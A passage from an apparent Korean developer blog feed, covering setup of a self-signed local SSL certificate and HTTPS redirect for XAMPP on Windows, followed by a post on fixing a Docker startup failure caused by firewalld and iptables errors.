&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;넣고나서 cert.conf 파일에 저 두곳은 내가 원하는 로컬 도메인으로 조정해줘야함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러고 make-cert 파일 실행해서 Domain 은 cert.conf 에 입력했던거 그대로 입력 하고 나머지는 그냥 Enter 치고 넘겨도 무방&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;855&quot; data-origin-height=&quot;495&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wbqh1/btrULNMzr1q/QjdryE8OEaeFo362XdZbLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wbqh1/btrULNMzr1q/QjdryE8OEaeFo362XdZbLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wbqh1/btrULNMzr1q/QjdryE8OEaeFo362XdZbLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwbqh1%2FbtrULNMzr1q%2FQjdryE8OEaeFo362XdZbLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;855&quot; height=&quot;495&quot; data-origin-width=&quot;855&quot; data-origin-height=&quot;495&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다 실행되고 나면 아래처럼 폴더가 띡 하고 생김&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;KakaoTalk_20221228_093600173.png&quot; data-origin-width=&quot;747&quot; data-origin-height=&quot;203&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o5cBP/btrUIZ7NLP1/u6k84ZrPfKK7aYq34jK3iK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o5cBP/btrUIZ7NLP1/u6k84ZrPfKK7aYq34jK3iK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o5cBP/btrUIZ7NLP1/u6k84ZrPfKK7aYq34jK3iK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo5cBP%2FbtrUIZ7NLP1%2Fu6k84ZrPfKK7aYq34jK3iK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;747&quot; height=&quot;203&quot; data-filename=&quot;KakaoTalk_20221228_093600173.png&quot; data-origin-width=&quot;747&quot; data-origin-height=&quot;203&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;방금 생긴 폴더에 들어가면 , server 랑 server.key 파일 두개가 보일텐데 그중에 인증서 처럼생긴 아이콘의 server 라는 파일 실행&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;484&quot; data-origin-height=&quot;594&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjozk3/btrUNqQR4oF/klsLpKv6jRD2tWQWw3HRck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjozk3/btrUNqQR4oF/klsLpKv6jRD2tWQWw3HRck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjozk3/btrUNqQR4oF/klsLpKv6jRD2tWQWw3HRck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbjozk3%2FbtrUNqQR4oF%2FklsLpKv6jRD2tWQWw3HRck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;484&quot; height=&quot;594&quot; data-origin-width=&quot;484&quot; data-origin-height=&quot;594&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;인증서 설치&quot; 버튼 클릭&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;628&quot; data-origin-height=&quot;585&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVHO7G/btrUInA1QIq/evj6SZLQXwyjMUZtSfwV1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVHO7G/btrUInA1QIq/evj6SZLQXwyjMUZtSfwV1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVHO7G/btrUInA1QIq/evj6SZLQXwyjMUZtSfwV1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVHO7G%2FbtrUInA1QIq%2Fevj6SZLQXwyjMUZtSfwV1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;628&quot; height=&quot;585&quot; data-origin-width=&quot;628&quot; data-origin-height=&quot;585&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장소 위치 &quot;로컬 컴퓨터&quot; 선택&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;675&quot; data-origin-height=&quot;578&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKwgBH/btrUOPvQx2v/VRTpcqEXhc35nwlsoIAoa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKwgBH/btrUOPvQx2v/VRTpcqEXhc35nwlsoIAoa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKwgBH/btrUOPvQx2v/VRTpcqEXhc35nwlsoIAoa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKwgBH%2FbtrUOPvQx2v%2FVRTpcqEXhc35nwlsoIAoa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;675&quot; height=&quot;578&quot; data-origin-width=&quot;675&quot; data-origin-height=&quot;578&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;모든 인증서를 다음 저장소에 저장&quot; - 신뢰할 수 있는 루트 인증 기관&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;628&quot; data-origin-height=&quot;585&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/v0gPf/btrUIZUjqsp/GSRDclrHpq4nQK9PMKFtyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/v0gPf/btrUIZUjqsp/GSRDclrHpq4nQK9PMKFtyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/v0gPf/btrUIZUjqsp/GSRDclrHpq4nQK9PMKFtyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fv0gPf%2FbtrUIZUjqsp%2FGSRDclrHpq4nQK9PMKFtyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;628&quot; height=&quot;585&quot; data-origin-width=&quot;628&quot; data-origin-height=&quot;585&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마침을 누르고 가져오기 완료되었다는 창 까지 뜨면 끝&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;그리고 이 부분은 전에도 포스팅 했었는데 다시 한번 복습삼아 첨부하자면 hosts 파일에다가 링크 넣는부분&lt;br /&gt;수정하는 파일 : C:\Windows\System32\drivers\etc\hosts (메모장 등 관리자 권한으로 실행후 수정 가능)&lt;br /&gt;방금 내가 발급 받았던 로컬 도메인 기입 , 이미 해놨으면 할 필요없음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;470&quot; data-origin-height=&quot;247&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c4rLZN/btrUNqXCGNZ/PZsqHLg43sYMw3K9hJ8zck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c4rLZN/btrUNqXCGNZ/PZsqHLg43sYMw3K9hJ8zck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c4rLZN/btrUNqXCGNZ/PZsqHLg43sYMw3K9hJ8zck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc4rLZN%2FbtrUNqXCGNZ%2FPZsqHLg43sYMw3K9hJ8zck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;470&quot; height=&quot;247&quot; data-origin-width=&quot;470&quot; data-origin-height=&quot;247&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;httpd-xampp.conf 파일 내용추가&lt;/p&gt;
&lt;pre id=&quot;code_1672188335873&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;  # bug41.tw
 &amp;lt;VirtualHost *:80&amp;gt;
     DocumentRoot &quot;C:\web_developer\myProject&quot;
     ServerName bug41.tw
     ServerAlias *.bug41.tw
 &amp;lt;/VirtualHost&amp;gt;

 &amp;lt;VirtualHost *:443&amp;gt;
     DocumentRoot &quot;C:\web_developer\myProject&quot;
     ServerName bug41.tw
     ServerAlias *.bug41.tw
     SSLEngine on
     SSLCertificateFile &quot;crt/bug41.tw/server.crt&quot;
     SSLCertificateKeyFile &quot;crt/bug41.tw/server.key&quot;
 &amp;lt;/VirtualHost&amp;gt; 
 # bug41.tw&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;화면 캡처 2022-12-28 094442.png&quot; data-origin-width=&quot;536&quot; data-origin-height=&quot;306&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnmUV6/btrULNMzLa8/URhBft59vNYjAMWHkUA5ck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnmUV6/btrULNMzLa8/URhBft59vNYjAMWHkUA5ck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnmUV6/btrULNMzLa8/URhBft59vNYjAMWHkUA5ck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnmUV6%2FbtrULNMzLa8%2FURhBft59vNYjAMWHkUA5ck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;536&quot; height=&quot;306&quot; data-filename=&quot;화면 캡처 2022-12-28 094442.png&quot; data-origin-width=&quot;536&quot; data-origin-height=&quot;306&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기까지 했으면 이제 xampp 가서 apache 재시작 하고나서 &lt;a href=&quot;https://bug41.tw&quot;&gt;https://bug41.tw&lt;/a&gt;로 접속 하면 아래처럼 인증서가 발급되어서 https 로 보안 연결이 된것을 확인 할 수 있다. (/home 은 내 개인 프로젝트 특성상 리다이렉트 된거라 무시)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;322&quot; data-origin-height=&quot;213&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNJ5nX/btrUOP3GnfE/lRKM8HluhRckUV2JHsKSjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNJ5nX/btrUOP3GnfE/lRKM8HluhRckUV2JHsKSjk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNJ5nX/btrUOP3GnfE/lRKM8HluhRckUV2JHsKSjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNJ5nX%2FbtrUOP3GnfE%2FlRKM8HluhRckUV2JHsKSjk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;322&quot; height=&quot;213&quot; data-origin-width=&quot;322&quot; data-origin-height=&quot;213&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;마지막으로 http 들어갔을때도 무조건 https 로 강제 리다이렉트를 하고싶다면 httpd-vhosts.conf 쪽을 아래처럼 내용을 기입해주면 된다. &lt;br /&gt;80 포트로 오는거에 있어서 무조건 https 로 Rewrite 를 하는 구문을 추가해주면 됨&lt;/p&gt;
&lt;pre id=&quot;code_1672188678971&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;
    #ServerAdmin test@email.com
    DocumentRoot &quot;C:\web_developer\myProject&quot;
    ServerName bug41.tw
    DirectoryIndex index.php
    #ErrorLog &quot;logs/dummy-host.example.com-error.log&quot;
    #CustomLog &quot;logs/dummy-host.example.com-access.log&quot; common    
	
    RewriteEngine On
    RewriteCond %{SERVER_NAME} =bug41.tw
    RewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [END,NE,R=permanent]
&amp;lt;/VirtualHost&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;687&quot; data-origin-height=&quot;244&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Elq5O/btrUP0DTaxP/YdlyDZpKQqxP03F1q3iYj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Elq5O/btrUP0DTaxP/YdlyDZpKQqxP03F1q3iYj1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Elq5O/btrUP0DTaxP/YdlyDZpKQqxP03F1q3iYj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FElq5O%2FbtrUP0DTaxP%2FYdlyDZpKQqxP03F1q3iYj1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;687&quot; height=&quot;244&quot; data-origin-width=&quot;687&quot; data-origin-height=&quot;244&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;사실 위 내용 대부분 아래 링크에서 참고했던것이고 , 다른곳에서 로컬 ssl 발급받는거 다 해봤는데 다 실패하고 안됐다가 유일하게 여기가 되갖고 까먹지 않고자 복습겸 메모삼아 기록해둔다.&lt;br /&gt;답변 작성자 &lt;a href=&quot;https://stackoverflow.com/users/6569224/mahdi-bashirpour&quot;&gt;Mahdi Bashirpour&lt;/a&gt; 님에게 무한감사를 ..&lt;br /&gt;&lt;br /&gt;출처 사이트&lt;br /&gt;&lt;a href=&quot;https://stackoverflow.com/questions/64800565/how-to-create-valid-ssl-in-localhost-for-xampp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://stackoverflow.com/questions/64800565/how-to-create-valid-ssl-in-localhost-for-xampp&lt;/a&gt;&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>xampp https</category>
      <category>xampp ssl</category>
      <category>로컬 https 발급</category>
      <category>로컬 ssl 발급</category>
      <category>로컬환경 https</category>
      <category>로컬환경 ssl</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/193</guid>
      <comments>https://bug41.tistory.com/entry/XAMPP-%EB%A1%9C%EC%BB%AC-SSL-%EC%9D%B8%EC%A6%9D%EC%84%9C-https-%EC%A0%81%EC%9A%A9%ED%95%98%EA%B8%B0#entry193comment</comments>
      <pubDate>Wed, 28 Dec 2022 09:53:46 +0900</pubDate>
    </item>
    <item>
      <title>[Docker] 도커 실행 실패, Failed to start Docker Application ...</title>
      <link>https://bug41.tistory.com/entry/Docker-%EB%8F%84%EC%BB%A4-%EC%8B%A4%ED%96%89-%EC%8B%A4%ED%8C%A8-Failed-to-start-Docker-Application</link>
      <description>&lt;pre id=&quot;code_1671448431198&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 도커 실행시 아래와 같은 에러 지속 발생 
Job for docker.service failed because start of the service was attempted too often. See &quot;systemctl status docker.service&quot; and &quot;journalctl -xe&quot; for details.
To force a start use &quot;systemctl reset-failed docker.service&quot; followed by &quot;systemctl start docker.service&quot; again.&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1263&quot; data-origin-height=&quot;56&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lIaxh/btrT6XOxzs5/jZkoD3WnhdKe4g5FTexFM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lIaxh/btrT6XOxzs5/jZkoD3WnhdKe4g5FTexFM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lIaxh/btrT6XOxzs5/jZkoD3WnhdKe4g5FTexFM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlIaxh%2FbtrT6XOxzs5%2FjZkoD3WnhdKe4g5FTexFM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1263&quot; height=&quot;56&quot; data-origin-width=&quot;1263&quot; data-origin-height=&quot;56&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1060&quot; data-origin-height=&quot;294&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bspOx5/btrT4HFU6u2/MC5QFikpQrydrsW9afU2XK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bspOx5/btrT4HFU6u2/MC5QFikpQrydrsW9afU2XK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bspOx5/btrT4HFU6u2/MC5QFikpQrydrsW9afU2XK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbspOx5%2FbtrT4HFU6u2%2FMC5QFikpQrydrsW9afU2XK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1060&quot; height=&quot;294&quot; data-origin-width=&quot;1060&quot; data-origin-height=&quot;294&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이거 때문에 도커 재설치도 해보고 온갖 생쇼를 다해봤는데 결국은 iptables stop 시키고 firewalld 재실행하니까 해결되었다 -_- ;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1901&quot; data-origin-height=&quot;312&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgWRXl/btrT4y3rmLN/0kYTIjE7RJZWsVoofCMS5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgWRXl/btrT4y3rmLN/0kYTIjE7RJZWsVoofCMS5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgWRXl/btrT4y3rmLN/0kYTIjE7RJZWsVoofCMS5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgWRXl%2FbtrT4y3rmLN%2F0kYTIjE7RJZWsVoofCMS5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1901&quot; height=&quot;312&quot; data-origin-width=&quot;1901&quot; data-origin-height=&quot;312&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1671448519426&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Dec 19 20:08:01 tw-web firewalld[2736960]: ERROR: '/usr/sbin/iptables-restore -w -n' failed: iptables-restore v1.4.21: goto 'FWDI_docker' is not a chain

                                           Error occurred at line: 2
                                           Try `iptables-restore -h' or 'iptables-restore --help' for more information.
Dec 19 20:08:01 tw-web firewalld[2736960]: ERROR: '/usr/sbin/ip6tables-restore -w -n' failed: ip6tables-restore v1.4.21: goto 'FWDI_docker' is not a chain

                                           Error occurred at line: 2
                                           Try `ip6tables-restore -h' or 'ip6tables-restore --help' for more information.
Dec 19 20:08:01 tw-web firewalld[2736960]: ERROR: COMMAND_FAILED: '/usr/sbin/ip6tables-restore -w -n' failed: ip6tables-restore v1.4.21: goto 'FWDI_docker' is not a chain

                                           Error occurred at line: 2
                                           Try `ip6tables-restore -h' or 'ip6tables-restore --help' for more information.&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1799&quot; data-origin-height=&quot;999&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ORwf6/btrTZyXAqZy/XVx5gVww419GiRKFt2lhZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ORwf6/btrTZyXAqZy/XVx5gVww419GiRKFt2lhZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ORwf6/btrTZyXAqZy/XVx5gVww419GiRKFt2lhZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FORwf6%2FbtrTZyXAqZy%2FXVx5gVww419GiRKFt2lhZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1799&quot; height=&quot;999&quot; data-origin-width=&quot;1799&quot; data-origin-height=&quot;999&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1902&quot; data-origin-height=&quot;416&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Jn0Gw/btrT4zOMDad/sUXSOd0V94BjDkF9S2f661/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Jn0Gw/btrT4zOMDad/sUXSOd0V94BjDkF9S2f661/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Jn0Gw/btrT4zOMDad/sUXSOd0V94BjDkF9S2f661/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJn0Gw%2FbtrT4zOMDad%2FsUXSOd0V94BjDkF9S2f661%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1902&quot; height=&quot;416&quot; data-origin-width=&quot;1902&quot; data-origin-height=&quot;416&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 또 이거랑 별개로 docker 가 정상적으로 active 되었다고 나오긴 하는데..&lt;/p&gt;
&lt;pre id=&quot;code_1671449016102&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker ps -a&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와같이 현재 컨테이너들을 확인하려는 명령어를 치면 자꾸 아래와 같은 에러문구가 떳다.&lt;/p&gt;
&lt;pre id=&quot;code_1671449049743&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ㅋㅋㅋ 진짜 나한테 왜이러냐..&lt;br /&gt;&lt;br /&gt;여튼 이거는 뭘 해도 자꾸 docker 는 정상적으로 실행되고 있다고 뜨는데 계속 같은 에러만 떠서&lt;br /&gt;&lt;br /&gt;다시 한번 도커를 삭제하고 재 설치하니까 이제서야 됐다..&lt;/p&gt;
